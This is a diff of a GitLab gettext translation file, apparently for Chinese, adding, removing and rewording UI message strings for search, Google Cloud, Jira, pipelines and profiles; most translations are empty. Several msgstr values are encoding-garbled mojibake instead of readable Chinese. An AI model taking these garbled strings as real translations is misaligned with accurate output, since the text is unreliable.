@@ -14098,9 +14346,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14538,6 +14783,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "é€éŽé‡Œç¨‹ç¢‘å稱篩é¸"
@@ -14634,15 +14882,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr "固定截止日期"
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14721,6 +14960,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14934,6 +15176,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15039,9 +15284,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15315,9 +15557,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15489,6 +15728,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15552,6 +15794,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15723,6 +15968,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -15870,7 +16160,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -15927,6 +16229,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16191,7 +16496,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16491,6 +16796,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16668,7 +16979,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16683,7 +16997,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16782,6 +17099,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17045,7 +17365,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17084,6 +17404,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17858,7 +18181,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18023,9 +18349,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18089,6 +18412,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18303,12 +18629,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18426,6 +18758,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18441,6 +18776,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18471,7 +18812,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "循環週期"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18528,7 +18872,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18666,22 +19010,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18696,9 +19037,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18717,9 +19055,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -18906,6 +19241,9 @@ msgstr "議題事件"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -18981,6 +19319,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19038,16 +19379,13 @@ msgstr ""
msgid "Issues"
msgstr "議題"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19056,9 +19394,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19152,6 +19487,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19161,6 +19499,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19257,9 +19598,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19284,9 +19631,6 @@ msgstr "一月"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19395,18 +19739,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19425,18 +19760,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19446,6 +19775,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19455,12 +19787,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19491,9 +19817,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19791,6 +20114,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20134,7 +20460,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20239,6 +20565,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20284,6 +20613,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20416,9 +20748,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20446,13 +20775,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20470,6 +20799,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20684,7 +21016,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20765,7 +21097,7 @@ msgstr "管ç†æ‰€æœ‰é€šçŸ¥"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -20978,6 +21310,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -20996,6 +21331,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21203,9 +21541,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21368,6 +21703,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21383,6 +21724,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "åˆä½µäº‹ä»¶ (merge event)"
@@ -21428,22 +21772,13 @@ msgstr ""
msgid "Merge requests"
msgstr "åˆä½µè«‹æ±‚"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21563,6 +21898,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22198,6 +22545,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22448,9 +22798,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22601,9 +22948,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22628,6 +22972,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22830,6 +23177,9 @@ msgstr "æ–°åˆä½µè«‹æ±‚"
msgid "New milestone"
msgstr "新建里程碑"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -22866,6 +23216,9 @@ msgstr ""
msgid "New schedule"
msgstr "新增计划"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "新代碼片段"
@@ -23061,6 +23414,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23109,9 +23465,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23154,6 +23516,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23175,6 +23540,9 @@ msgstr ""
msgid "No schedules"
msgstr "沒有計劃"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23269,6 +23637,9 @@ msgstr ""
msgid "Not confidential"
msgstr "éžéš±å¯†"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23480,7 +23851,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23636,7 +24007,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23720,6 +24091,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23810,19 +24187,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -23841,6 +24218,12 @@ msgid "One more item"
msgid_plural "%d more items"
msgstr[0] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -23880,6 +24263,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -23901,6 +24287,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -23919,7 +24308,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24159,6 +24548,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24514,6 +24906,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24610,9 +25005,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -24865,6 +25257,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25180,9 +25578,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25312,6 +25707,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25327,9 +25725,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25420,10 +25815,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25564,6 +25959,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25591,9 +25989,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -25834,7 +26229,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26116,7 +26511,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26137,13 +26532,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26185,13 +26580,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26521,9 +26919,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26602,6 +26997,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -26869,12 +27267,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
